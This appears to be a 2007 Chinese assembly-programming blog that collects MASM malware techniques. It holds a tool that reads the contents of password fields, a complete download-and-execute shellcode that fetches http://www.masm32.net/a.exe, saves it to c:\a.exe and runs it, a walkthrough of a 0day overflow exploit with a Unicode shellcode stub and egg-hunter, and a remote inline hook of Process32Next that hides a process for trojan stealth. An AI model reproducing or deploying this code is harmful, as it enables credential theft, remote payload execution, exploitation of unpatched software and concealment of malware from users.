                    LOCAL   varaddr:dword     

        invoke LoadLibrary,offset user32dll
        mov    user32base,eax
        invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虚拟偏移
        invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
        .if eax!=NULL
            invoke RtlMoveMemory,offset buffercode,eax,1000
            mov esi,offset buffercode
            xor ebx,ebx
@@nextcode:        
            mov ax,word ptr [esi]
            .if ax==08C2h
                add esi,2
                mov al,byte ptr[esi]
                sub esi,2
                .if al==00h
                    ;--找到ret 08(C20800)后,倒过去找mov eax,xxxxxxxx (B8 xxxxxxxx)
                    sub esi,5
                    sub ebx,5
@@nextcode2:                    
                    mov al,byte ptr [esi]
                    .if al==0B8h
                        inc esi
                        mov eax,dword ptr [esi]
                        dec esi
                        mov varaddr,eax
                    .else
                    @@nextb8:
                        dec esi
                        dec ebx
                        .if ebx>1                        
                            jmp @@nextcode2
                        .else ;找不到mov eax,xxxxxxxx
                            invoke MessageBox,0,offset errnocode,offset vp,1
                            xor eax,eax
                            ret
                        .endif
                    .endif
                .else
                    jmp @@findother
                .endif
            .else
@@findother:            
                inc ebx
                inc esi
                .if ebx<1000d
                    jmp @@nextcode
                .else ;找不到ret 08指令
                    invoke MessageBox,0,offset errnocode,offset vp,1
                    xor eax,eax
                    ret
                .endif
            .endif
        .else  ;找不到函数
         invoke MessageBox,0,offset errnowow,offset vp,1
         xor eax,eax
         ret
        .endif
        ;正常情况varaddr为USER32.DLL全局变量中记录当前线程GUI TABLE R3层地址的变量的地址
        
        mov ecx,user32base
        add ecx,VirtualAddress ;得到内存中user32.dll的全局变量的起始地址
        mov eax,varaddr
        sub eax,ecx ;变量的地址减全局变量起始地址
        .if eax>0 && eax<VirtualSize ;变量的偏移大于0,小于变局变量总大小
        add eax,4
        mov VarOffset,eax
        
        .else
        jmp @@nextb8
        .endif
        
        
                    ret
GetUnknowVarOffset  endp
%

GetUnknowVarOffset  proc uses esi edi ebx
                    LOCAL   user32base:dword  
                    LOCAL   varaddr:dword     
                    LOCAL   optable[2048]:byte
                    LOCAL   oplen[256]:byte ;记录每个指令的长度,最多512个
                    
        invoke LoadLibrary,offset user32dll
        mov    user32base,eax
        invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虚拟偏移
        invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
        .if eax!=NULL
            invoke RtlMoveMemory,offset buffercode,eax,1000
            mov esi,offset buffercode
;------------------------       利用LDE32库函数得到该函数中每个指令的长度:)
                    
        
        lea  eax,optable
        push eax
        call disasm_init  ;解压缩'指令长度表'
        
        
        xor ebx,ebx
        lea edi,oplen
@@nextcode:
        push esi
        lea  eax,optable
        push eax
        call disasm_main
        .if eax!=-1 && ebx<256
            mov cx,word ptr [esi]
            mov dl,byte ptr [esi+2]
            .if eax == 3 && cx == 08C2h && dl == 00  ;找到ret 08=C20800
            ;-------------------然后反过去找MOV EAX,XXXXXXXX   =B8 XXXXXXXX
            dec ebx
            
@@nextcode2:            
            mov AL,byte ptr [edi+ebx]  
            movzx eax,al
            sub esi,eax
            mov cl,byte ptr [esi]
            .if al == 5 && cl == 0B8H
                        inc esi
                        mov eax,dword ptr [esi]
                        mov varaddr,eax
                        dec esi
            .else
@@nextb8:            
                    dec ebx
                    .if ebx >1
                        jmp @@nextcode2
                    .else
                        jmp @@errcode
                    .endif
            .endif
            
            .else
            mov byte ptr [edi+ebx],al            
            inc ebx
            add esi,eax                        
            jmp @@nextcode
            .endif
       .else ;找不到RET 08指令
@@errcode:      
            invoke MessageBox,0,offset errnocode,offset vp,1
            xor eax,eax
            ret      
       .endif
;------------------------      
        .else  ;找不到函数
            invoke MessageBox,0,offset errnowow,offset vp,1
            xor eax,eax
            ret
        .endif
        ;正常情况varaddr为USER32.DLL全局变量中记录当前线程GUI TABLE R3层地址的变量的地址
        
        mov ecx,user32base
        add ecx,VirtualAddress ;得到内存中user32.dll的全局变量的起始地址
        mov eax,varaddr
        sub eax,ecx ;变量的地址减全局变量起始地址
        .if eax>0 && eax<VirtualSize ;变量的偏移大于0,小于全局变量总大小
        add eax,4
        mov VarOffset,eax
        .else
        jmp @@nextb8
        .endif
        
        
                    ret
GetUnknowVarOffset  endp



GetUser32Base  proc uses ebx esi edi remoteproid
            LOCAL hSnapshot:dword
            LOCAL modinfo:MODULEENTRY32
            LOCAL modname[256]:byte

        mov            modinfo.dwSize,sizeof MODULEENTRY32
        invoke  CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
        mov     hSnapshot,eax
        invoke  Module32First,hSnapshot,addr modinfo
        .while eax
        lea     ecx,modinfo.szModule
        invoke  lstrcmpi,offset user32dll,ecx
        .if     eax == 0
                mov eax,modinfo.modBaseAddr
                ret
        .endif
        invoke  Module32Next,hSnapshot,addr modinfo
        .endw
        invoke        CloseHandle,hSnapshot
        
                ret
GetUser32Base   endp        

_ProcessPeFile        proc _lpPeHead
                local        @szBuffer[1024]:byte,@szSectionName[16]:byte
               
        mov        esi,_lpPeHead
                assume        esi:ptr IMAGE_DOS_HEADER
        add        esi,[esi].e_lfanew
                mov        edi,esi
                assume        edi:ptr IMAGE_NT_HEADERS
                ;movzx        ecx,[edi].FileHeader.Machine
                ;movzx        edx,[edi].FileHeader.NumberOfSections
                ;movzx        ebx,[edi].FileHeader.Characteristics

;********************************************************************
; 循环显示每个节区的信息
;********************************************************************
                movzx        ecx,[edi].FileHeader.NumberOfSections
                add        edi,sizeof IMAGE_NT_HEADERS
                assume        edi:ptr IMAGE_SECTION_HEADER
                .repeat
                        push        ecx
;********************************************************************
; 节区名称
;********************************************************************
                        invoke        RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
                        push        esi
                        push        edi
                        mov        ecx,8
                        mov        esi,edi
                        lea        edi,@szSectionName
                        cld
                        @@:
                        lodsb
                        .if        ! al
                                mov        al,' '
                        .endif
                        stosb
                        loop        @B
                        pop        edi
                        pop        esi
;********************************************************************
            invoke lstrcmpi,offset dataname,addr @szSectionName
            .if eax == 0
                    push [edi].VirtualAddress
                    pop VirtualAddress
                    push dword ptr [edi+8]
                    pop VirtualSize
                    ret
                        .else        
                        add        edi,sizeof IMAGE_SECTION_HEADER
                        .endif
;********************************************************************
                        pop        ecx
                .untilcxz
                assume        edi:nothing
                ret

_ProcessPeFile        endp




CheckOS proc
    LOCAL verinfo:OSVERSIONINFO
   
    mov     verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO
    invoke  GetVersionEx,addr verinfo
    .if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
        mov eax,1 ;xp
        mov passoffset,0A4H
        mov lenoffset ,14H
    .elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2)
        mov eax,1 ;2003
        mov passoffset,0A0H
        mov lenoffset ,0CH
    .elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0)   
        mov eax,1 ;2000
        mov passoffset,98H
        mov lenoffset ,0cH
    .else
        invoke MessageBox,0,offset erros,offset vp,1
        xor eax,eax  ;9x,nt4
    .endif
   
        ret
CheckOS endp

_ProcDlgMain        proc        uses ebx edi esi, \
                hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
                local        @stPoint:POINT
                local        @hWindow
                local   hBrush :dword
            local   rect:RECT
            local   LogBrush:LOGBRUSH

                mov        eax,wMsg
                .if        eax == WM_CLOSE
                        invoke        EndDialog,hWnd,NULL
                        invoke        KillTimer,hWnd,1
                .elseif        eax == WM_INITDIALOG
                        push    hWnd
                        pop     hWinMain
                    invoke LoadIcon, hInstance, 1
                    invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax
                        invoke        SendDlgItemMessage,hWnd,ID_PWD,EM_SETREADONLY,TRUE,NULL
                        invoke        SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,\
                                    SWP_NOMOVE or SWP_NOSIZE
                        invoke        SetTimer,hWnd,1,2000,NULL
                        invoke        LoadBitmap,hInstance,IDB_1
                        invoke        SendDlgItemMessage,hWnd,IDC_BMP,STM_SETIMAGE,IMAGE_BITMAP,eax
                        invoke  GetWindowLong,hWnd, GWL_EXSTYLE
                        or      eax,80000h
                        invoke  SetWindowLong,hWnd, GWL_EXSTYLE, eax
                        invoke  SetLayeredWindowAttributes,hWnd, 0, 220, 02h;LWA_ALPHA
            .elseif        eax ==        WM_CTLCOLORSTATIC
                    RGB 0,0,0
                    invoke        SetBkColor,wParam,eax
                    invoke        SetTextColor,wParam,00aeaeaeh
                    invoke        GetStockObject,HOLLOW_BRUSH
                    ret               
                .elseif        eax == WM_ERASEBKGND
                    mov LogBrush.lbStyle,BS_SOLID
                    RGB 0,0,0
                    mov LogBrush.lbColor,eax
                    invoke CreateBrushIndirect,addr LogBrush
                    mov hBrush,eax
                    invoke GetClientRect,hWnd,addr rect
                    invoke FillRect,wParam,addr rect,hBrush        
                    mov eax,TRUE
                    ret               
                .elseif        eax == WM_TIMER
                        invoke        GetCursorPos,addr @stPoint
                        invoke        WindowFromPoint,@stPoint.x,@stPoint.y
                        mov        @hWindow,eax
                        .if        eax !=        NULL
                                invoke GetWindowLong,@hWindow,GWL_STYLE
                                .if (eax & ES_PASSWORD)
                    invoke GetClassName,@hWindow,offset classname,64
                    invoke lstrcmpi,offset classname,offset editname
                    .if eax == 0
                    mov eax,@hWindow
                    mov WINHAND,eax
                    invoke  ViewPass
                    .endif                                       
                                .endif
                        .endif
                .else
;********************************************************************
;        注意:对话框的消息处理后,要返回 TRUE,对没有处理的消息
;        要返回 FALSE
;********************************************************************
                        mov        eax,FALSE
                        ret
                .endif                  
                mov        eax,TRUE
                ret
               
_ProcDlgMain        endp

include     \masm32\include\lde32bin.inc
;********************************************************************
start:
                invoke        GetModuleHandle,NULL
                mov        hInstance,eax
                invoke        DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
                invoke        ExitProcess,NULL
end        start

2007年6月22日

;Tiny Download&&Exec ShellCode codz czy 2007.6.1
;header 163=61(16+8+9+(28))+95(68+27)+17
;163+19=192
comment %
                #--------------------------------------#          #
              #  Tiny Download&&Exec ShellCode-->       #       #
            #    -->size 192                              #   #
          #                      2007.06.01                 # 
            #                    codz: czy                #   #
             #------------------------------------------#      #

system :test on ie6+XPSP2/2003SP2/2kSP4
%
.586
.model flat,stdcall
option casemap:none

include     c:\masm32\include\windows.inc
include     c:\masm32\include\kernel32.inc
includelib  c:\masm32\lib\kernel32.lib
include     c:\masm32\include\user32.inc
includelib  c:\masm32\lib\user32.lib


.data
shelldatabuffer db 1024 dup(0)
shellcodebuffer db 2046 dup(0)
downshell db 'down exploit',0
txtname  db 'c:\office\unicode.doc',0
.code
start:
 invoke MessageBoxA,0,offset downshell,offset downshell,1
 invoke RtlMoveMemory,offset shellcodebuffer,00401040H,256
 mov eax,offset shellcodebuffer
 jmp eax
 somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;上面的代码是把在代码段中的shellcode移动数据段中执行,模拟真实的shellcode执行环境 
@@shellcodebegin:  
 call @@beginaddr
@@beginaddr:
 PUSH 03H      ;要调用的API函数个数
 jmp @@realshellcode         
myExitProcess     dd 073e2d87eh  
myWinExec         dd 00e8afe98h   
myLoadLibraryA    dd 0ec0e4e8eh
dll               db 'URLMON',0,0
myUrlDownFile     dd 0702f1a36h
path              db 'c:\a.exe',0
url               db 'http://www.masm32.net/a.exe',0

 

@@realshellcode:
    POP ECX
    POP EDI
    SCASD ;edi+4
;得到kernel32.dll基地址
db  67h,64h,0A1h,30h,00h
 mov eax, [eax+0cH]
 mov esi, [eax+1cH]
    lodsd
 mov ebp, [eax+08H]          ;EBP中存放kernel32.dll的基地址
;处理导出表
@@next2:
PUSH      ECX
@@next3:
MOV       ESI,[EBP+3Ch]
MOV       ESI,[EBP+ESI+78h]
ADD       ESI,EBP
PUSH      ESI
MOV       ESI,[ESI+20h]
ADD       ESI,EBP
XOR       ECX,ECX
DEC       ECX
@@next:
INC       ECX
LODSD
ADD       EAX,EBP
XOR       EBX,EBX
@@again:
    MOVSX     EDX,BYTE PTR [EAX]
    CMP       DL,DH
    JZ        @@end
    ROR       EBX,0Dh
    ADD       EBX,EDX
    INC       EAX
    JMP       @@again
@@end:
CMP       EBX,[EDI]
JNZ       @@next

POP       ESI
MOV       EBX,[ESI+24h]
ADD       EBX,EBP
MOV       CX,WORD PTR [ECX*2+EBX]
MOV       EBX,[ESI+1Ch]
ADD       EBX,EBP
MOV       EAX,[ECX*4+EBX]
ADD       EAX,EBP
STOSD
POP       ECX
loop @@next2

mov ecx,[edi]   ;2
cmp cl,'c'      ;3
jz @@downfile   ;2
PUSH EDI
CALL EAX        ;2
xchg eax,ebp
scasd
scasd
push 01         ;2第二个DLL的函数个数
jmp @@next3     ;2
                ;总计17

        
@@downfile:

 push edx  ;0
 push edx  ;0
 push    edi  ;file=c:\a.exe
 lea     ecx, dword ptr [edi+9h]
 push    ecx  ;url
 push edx  ;0
 call eax  ;URLDownloadToFileA,0,url,file=c:\a.exe,0,0
 
 
 push 1 ;FOR TEST
 push edi
 call dword ptr [edi-14H] ;winexec,'c:\xxx.exe',1
 
    call dword ptr [edi-18H] ;Exitprocess

    somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
    invoke ExitProcess,0
end start

2007年5月14日

这个SheUcode比较有意思

  某客户端程序0day,溢出发生时
EAX=00000000  EBX=00000000 ECX=00000006 EDX=7C92EB94 ESI=00000001
EDI=001362B0  ESP=001E0061 ESP=00136110 EIP=7FFA5564 o d I s Z a P c
CS=001B  DS=0023 SS=0023 ES=0023 FS=003B GS=0000

  看似比较简单的栈溢出,程序也没有/GS,但是字符串长度限制为100个字节(不能覆盖SEH),而且
字符串会部分转化为UniCode格式,通过分析溢出发生时可以用转化后的字符串覆盖函数返回地
址,同时EDI刚好指向转化后的字符串开头.在简中系统下代码页刚好有个JMP EDI(6455FA7F)
而6455FA7F的ANSI编码为C6A1C24F.OK跳转地址搞定,来看看SHELLCODE怎么写了,由于这个漏洞
非常特殊,字符串是部分转化,而且长度只有100个字节,所以只能想办法在这100个字节中用小SHELLCODE
找大SHELLCODE了.经过测试发现XP SP2下,SEHLLCODE中的异常处理代码不能在栈中,所以还得想
法把代码移到堆中.下面是我的办法:先看第四部分.

 


第一部分:
:00136193 5E                      pop esi       ;因为是CALL跳过来的,POP后ESI变为001361BC,esp+4=0013610C
:00136194 5E                      pop esi       ;esi变为001361D5也就是异常处理指令的地址
:00136195 55                      push ebp      ;通过分析漏洞,溢出发生时EBP的值为是跳转地址前面的四字节(UNICODE格式)
:00136196 5F                      pop edi       ;EDI变为001E0061
:00136197 A5                      movsd
:00136198 A5                      movsd
:00136199 A5                      movsd
:0013619A A5                      movsd         ;把ESI(001361D5)中的代码移到(edi)001e0061中
:0013619B 55                      push ebp      ;设置新的异常处理函数地址
:0013619C EB1E                    jmp ↓001361BC ;回到第二部分
:0013619E 61                      popad
:0013619F 61                      popad
:001361A0 61                      popad
:001361A1 61                      popad
:001361A2 61                      popad
:001361A3 61                      popad
:001361A4 61                      popad
:001361A5 61                      popad
:001361A6 61                      popad
:001361A7 61                      popad
:001361A8 61                      popad
:001361A9 61                      popad
:001361AA 1E                      push ds
:001361AB C6A1C24F                转化前的跳转地址(7FFA5564 JMP EDI)

第二部分:
:001361B0 6481EFDB000000          sub edi,000000DB        ;edi为001362B0-db=001361d5,得到第三部分指令的地址
:001361B6 57                      push edi                ;esp-4=0013610C,edi=001361d5
:001361B7 E8D7FFFFFF              call ↑00136193          ;esp-4=00136108,函数功能:把异常处理指令移到堆中
:001361BC 64FF30                  push dword ptr fs:[eax] ;在跳过来之前新的异常处理地址已经压栈,现保存原来的
:001361BF 648920                  mov dword ptr fs:[eax], esp ;esp也就是异常处理结构的地址比较巧妙
:001361C2 BA41424142              mov edx, 42414241           ;搜索ABAB
:001361C7 BF00001400              mov edi, 00140000           ;起始地址00140000
:001361CC 3B17                    cmp edx, dword ptr [edi]
:001361CE 7403                    je  ↓001361D3
:001361D0 47                      inc edi
:001361D1 EBF9                    jmp ↑001361CC
:001361D3 57                      push edi
:001361D4 C3                      ret

第三部分:处理搜索内存异常的代码
:001361D5 8B54240C                mov edx, dword ptr [esp+0C]
:001361D9 80C29C                   add dl, 9C
:001361DC 33C0                        xor eax, eax
:001361DE B440                       mov ah, 40
:001361E0 0102                       add dword ptr [edx], eax
:001361E2 33C0                      xor eax, eax
:001361E4 C3                           ret

第四部分:程序首先从代码页中的JMP EDI跳到这儿.
:001362B0 57                      push edi         ;edi为001362B0,push以后ESP变为0013610C
:001362B1 004700                  add [edi+00],al  ;nop
:001362B4 44                      inc esp          ;esp变为0013610D
:001362B5 004700                  add [edi+00],al  ;nop
:001362B8 59                      pop ecx          ;ecx的值为XX001362,ESP变为00136111
:001362B9 004700                  add [edi+00],al  ;nop
:001362BC 49                      dec ecx          ;ecx变为XX001361
:001362BD 004700                  add [edi+00],al  ;nop
:001362C0 51                      push ecx         ;ESP变为0013610D
:001362C1 004700                  add [edi+00],al  ;nop
:001362C4 4C                      dec esp          ;ESP变为0013610C
:001362C5 004700                  add [edi+00],al  ;nop
:001362C8 C3                      ret              ;ESP变为溢出发生时的00136110,程序跳到001361B0

还没晕吧?纯粹指令技巧,主要是为了让代码是全字母且是UNICODE格式.
其实这部分代码等于执行
sub edi,100h
jmp edi
这个漏洞非常奇怪,字符是部分转化,且EDI-100H处是没转化的字符,所以先用上面的这个办法跳到
没转化的指令去执行.当然由于字符串长度的限制也没法直接写UNICODE编码的SHELLCODE.
下面请看第二部分的代码.

2007年3月18日

我的思路:

1.得到本进程中包含被挂接API的DLL的基地址,该DLL代码节的虚拟偏移以及该API的入口地址.API入口地址-(代码节虚拟偏移+DLL基地址)=函数入口相对于代码节的偏移

2.得到目标进程的PID,以及目标进程包含被挂接API的DLL的基地址(注意一般来说和前面自身进程的值相同)前面得到的函数入口偏移+DLL基地址+代码节虚拟偏移=目标进程API函数入口地址

3.打开目标进程读目标进程API函数入口处128字节代码到自身进程的变量中.然后调用z0mbie写的LDE32库取该API函数入口处几个指令的长度当长度>=5时保存该长度(这样防止后面取指令没有对齐)

4.为我们的假函数在目标进程加载的DLL中分配空间(我是把代码写在PE头的后面)这儿要改该内存的属性为读写执行(PAGE_EXECUTE_READWRITE).为了方便编译我们的假函数是写在代码段中的,在运行时要把这些代码移到数据段,然后把第3步取出的指令放在数据段中相应的偏移处.同时还要再数据段中设置跳回直实函数的JMP指令.

5.把真正的API开头的指令为JMP到我们的假函数中.

 

;目前遇到的问题:

1.在假函数中如何调用其它的API函数,以及如何方便的引用全局,局部变量

2.如何防止重复HOOK.

3.假函数写在目标DLL的哪儿比较适合.

看了网上不少公开的文章写了这些代码,个人感觉应用层INLINE HOOK对于木马隐藏来说不是很有必要.因为WIN 2K及以后系统的COPY ON WRITE机制,导制象我这样的代码HOOK并不是全局的,要实现全局的要不是要举例进程每个进程都这样处理一次,要不就是要安装全局钩子但一般这个操作都要引起杀毒软件的报警.另外如果上第一种办法对于新启动的进程你还得不停的举例以便于找出新启动的进程哩.有些人说在驱动下可以有一个通知API,但这样的话还不如直接在驱动下HOOK SSDT或是驱动的INLINE HOOK了.

;2007.03
.586
.model flat,stdcall
option casemap:none

include     ../include/windows.inc
include     ../include/user32.inc
includelib  ../lib/user32.lib
include     ../include/kernel32.inc
includelib  ../lib/kernel32.lib
include     ../include/shell32.inc
includelib  ../lib/shell32.lib


.data
kernel32 db 'kernel32.dll',0
P32First db 'Process32Next',0
inline  db 'Hook Process32Next Hide Process:)',0
sztext  db '.text   ',0
VirtualAddress dd 0
JMPCODE db 0E9h,010h,10H,10H,10H,0
JMPCODE2 db 0E9h,010h,10H,10H,10H,0
HookFunBuf  db 256 dup (?)

.code
_ProcessPeFile proc _lpPeHead
  local @szBuffer[1024]:byte,@szSectionName[16]:byte
  
        mov esi,_lpPeHead
  assume esi:ptr IMAGE_DOS_HEADER
        add esi,[esi].e_lfanew
  mov edi,esi
  assume edi:ptr IMAGE_NT_HEADERS

;********************************************************************
; 循环显示每个节区的信息
;********************************************************************
  movzx ecx,[edi].FileHeader.NumberOfSections
  add edi,sizeof IMAGE_NT_HEADERS
  assume edi:ptr IMAGE_SECTION_HEADER
  .repeat
   push ecx
;********************************************************************
; 节区名称
;********************************************************************
   invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
   push esi
   push edi
   mov ecx,8
   mov esi,edi
   lea edi,@szSectionName
   cld
   @@:
   lodsb
   .if ! al
    mov al,' '
   .endif
   stosb
   loop @B
   pop edi
   pop esi
;********************************************************************
            invoke lstrcmpi,offset sztext,addr @szSectionName
            .if eax == 0
      push [edi].VirtualAddress
      pop eax
      ret
   .else 
   add edi,sizeof IMAGE_SECTION_HEADER
   .endif
;********************************************************************
   pop ecx
  .untilcxz
  assume edi:nothing
  ret

_ProcessPeFile endp

;得到相应进程的模块加载的起始地址
GetShell32Base  proc uses ebx esi edi remoteproid
            LOCAL hSnapshot:dword
            LOCAL modinfo:MODULEENTRY32
            LOCAL modname[256]:byte

        mov     modinfo.dwSize,sizeof MODULEENTRY32
        invoke  CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
        mov     hSnapshot,eax
        invoke  Module32First,hSnapshot,addr modinfo
        .while eax
        lea     ecx,modinfo.szModule
        invoke  lstrcmpi,offset kernel32,ecx
        .if     eax == 0
                mov eax,modinfo.modBaseAddr
                ret
        .endif
        invoke  Module32Next,hSnapshot,addr modinfo
        .endw     
        invoke CloseHandle,hSnapshot
       
                ret
GetShell32Base   endp

InlineHook  proc
    LOCAL   hProcess:dword
    LOCAL   hKernel32:dword
    LOCAL   hAPI:dword
    LOCAL   PID:dword
    LOCAL   ModBase:dword
    LOCAL   OLDpro:dword
    LOCAL   CodeBuf[128]:byte
    LOCAL   optable[2048]:byte
    LOCAL   codelen:dword
    LOCAL   APIoffset:dword
    LOCAL   hAPI2:dword
    LOCAL   pHookFun:dword
    LOCAL   hooklen1:dword
    LOCAL   hookfunlen:dword
   
    lea  eax,optable
    push eax
    call disasm_init  ;解压缩'指令长度表'
   
    invoke  LoadLibrary,offset kernel32   ;得到自身进程DLL的基地址
    mov     hKernel32,eax
    invoke  _ProcessPeFile,hKernel32      ;通过分析PE文件得到相应的.text节的虚拟偏移
    mov     VirtualAddress,eax           ;一般为1000h
    invoke  GetProcAddress,hKernel32,offset P32First  ;得到API的入口地址   
    mov     hAPI,eax
    mov     eax,hKernel32
    add     eax,VirtualAddress           ;得到代码节起始地址
    mov     ecx,hAPI
    sub     ecx,eax                      ;函数入口相对于代码节的偏移
    mov     APIoffset,ecx
    invoke  GetCurrentProcessId
    mov     PID,eax
    mov     eax,9504
    mov     PID,eax
    invoke  GetShell32Base,eax
    mov     ModBase,eax                  ;得到目标进程DLL的基地址
    add     eax,VirtualAddress           ;得到目标进程DLL的代码节基地址
    add     eax,APIoffset                ;得到目标进程被HOOK的函数的入口地址
    mov     hAPI2,eax
    invoke  OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
    mov     hProcess,eax
    invoke  ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0
    lea     esi,CodeBuf
    xor     edi,edi

@@nextcode:   
    push esi
    lea  eax,optable
    push eax
    call disasm_main
    .if eax !=-1
        add edi,eax
        .if edi>=5
        mov codelen,edi   ;codelne记录应该COPY的代码字节数
        jmp @@findok
        .else
        add esi,eax
        jmp @@nextcode
        .endif
    .else
    xor eax,eax
    ret
    .endif
@@findok:
       
;写HOOK函数到目标进程DLL的空闲空间中
    mov     eax,ModBase
    add     eax,VirtualAddress
    sub     eax,512
    mov     pHookFun,eax
    invoke  VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro
   
    ;计算偏移
    mov     ecx,@@hookbeg
    mov     eax,@@fakeret   
    sub     eax,ecx
    mov     hooklen1,eax
    ;计算HOOK函数的全部代码长度
    mov     ecx,@@hookbeg
    mov     eax,@@hookfunend
    sub     eax,ecx
    mov     hookfunlen,eax
    ;把HOOK函数从代码段移到变量中
    mov     eax,@@hookbeg
    invoke  RtlMoveMemory,offset HookFunBuf,eax,hookfunlen
    ;把HOOK函数从变量中移到目标进程的内存中,这儿只移开头的一部分
    invoke  WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0
    ;移动被覆盖的原函数代码到目标内存中
    mov     ecx,pHookFun
    add     ecx,hooklen1
    sub     ecx,21
    invoke  WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0
    ;跳回原函数
    mov     ecx,pHookFun
    add     ecx,hooklen1
    mov     edx,ecx
    sub     ecx,5         ;JMP指令的起始地址
    mov     eax,hAPI2
    sub     eax,edx
    add     eax,codelen
    mov     edx,offset JMPCODE2
    inc     edx
    mov     [edx],eax
    invoke  WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0
    ;移动真正的HOOK功能代码到目标内存中
    mov     ecx,pHookFun
    add     ecx,hooklen1
    mov     eax,offset HookFunBuf
    add     eax,hooklen1
    mov     edx,hookfunlen
    sub     edx,hooklen1
    invoke  WriteProcessMemory,hProcess,ecx,eax,edx,0

    ;设置跳转指令
    mov     eax,pHookFun
    sub     eax,hAPI2
    sub     eax,5
    mov     ecx,offset JMPCODE
    inc     ecx
    mov     [ecx],eax
   


    invoke  VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro
    invoke  WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0
    invoke  VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro
    invoke  CloseHandle,hProcess
   
    invoke  MessageBox,0,offset inline,offset inline,1
   
            ret   
InlineHook  endp

@@hookbeg:
push [esp+8]  ;ARG2 有几个参数就ESP加几
push [esp+8]  ;ARG1
jmp  @@fakeret
@@setret:
somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h  ;这儿填被JMP覆盖的指令
somenop2 db 90h,90h,90h,90h,90h           ;填跳回原函数的JMP指令
@@fakeret:
call @@setret
;检查原函数的参数,判断是否改变原函数的执行结果,这时EAX为函数返回值注意保存
sub esp,8
pushad
mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址
.if eax != ERROR_NO_MORE_FILES
    add edx,36
    mov eax,[edx]
    mov ecx,[edx+4]
    .if (eax == 'pxei')&&( ecx == 'erol')  ;把iexplorer换为svchost.exe
        mov eax,'hcvs'
        mov [edx],eax
        mov eax,'.tso'
        mov [edx+4],eax
        mov eax,' exe'
        mov [edx+8],eax
    .endif
.endif
popad
add esp,8
;跳回正常的返回地址
ret 8   ;参数个数*4
@@hookfunend:

start:
    invoke  MessageBoxA,0,offset inline,offset inline,1 
    invoke  InlineHook
    invoke  ExitProcess,0

include     \masm32\include\lde32bin.inc

end start

2007年1月23日

;哈哈看看会显示什么?我机器上显示的是Gennet,情报网?

.586
.model flat, stdcall
option casemap:none

include    \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.code
start:
CPUID
push   ax
inc    esp
push   cx
inc    esp
push   bx
inc    esp
push   dx
inc    esp
push   dx
inc    esp
push   bx
push   esp
pop    ecx
dec    esp
invoke MessageBox,50h,ecx,ecx,50h
add    esp,8
ret
end start

上面的代码反汇编出来看看,呵呵差点全字母:)

0fh,a2h,fPDfQDfSDfRDfRDfSTYLjPQQjP,e8h,05h,00h,00h,00h,83h,c4h,08h,c3h

 

2007年1月10日

;--------------根据窗口所在的线程得到该线程的TEB地址
     invoke  OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID
     .if eax != NULL
             mov     THREADHAND,EAX
          invoke LoadLibrary,offset Ntdll
             invoke GetProcAddress,eax,offset _ZwQueryInformationThread
             mov     apiquerthread,eax             
             push    0
             push    sizeof THREAD_BASIC_INFORMATION
             lea     ecx,threadinfo
             push    ecx
             push    ThreadBasicInformation
             push    THREADHAND
             call    apiquerthread
             .IF EAX == STATUS_SUCCESS
                 lea ecx,threadinfo
                 mov esi,[ecx+4] ;得到TEB了
            
             .ELSE
                 invoke MessageBox,0,offset errgetteb,offset vp,1
                 ret
                .ENDIF
        .else
            invoke MessageBox,0,offset erropenthread,offset vp,1
            ret
        .endif


comment %          

;以前的办法目标进程线程太多就不行了.           

;fs:18的值是TEB的基址,FS:24线程ID,根据这两个来判断
        mov esi,07ffd0000h
@@nextteb:       
        invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
        .if eax == TRUE
            mov ecx,esi
            add ecx,18h
            invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
            .if eax == TRUE
                mov eax,offset buffer1
                mov eax,[eax]
                .if eax == esi
                    mov ecx,esi
                    add ecx,24h
                    invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
                    .if eax == TRUE 
                        mov eax,offset buffer1
                        mov eax,[eax]
                        .if eax == WINTHREADID
                        jmp @@getteb
                        .else
                        jmp @@next
                        .endif
                    .else
                    jmp @@next
                    .endif                 
                .else
                    jmp @@next
                .endif
            .else
                jmp     @@next   
            .endif
        .elseif esi>07ffdf000h
            ret
        .else
@@next:
        add esi,1000h
        jmp @@nextteb
        .endif
@@getteb:

%
        invoke wsprintf,offset bufferteb,offset tebformat,esi
        invoke MessageBox,0,offset bufferteb,offset vp,1  

2007年1月6日

;***********************************************************************************************
;MAKE 7ZIP CRC32
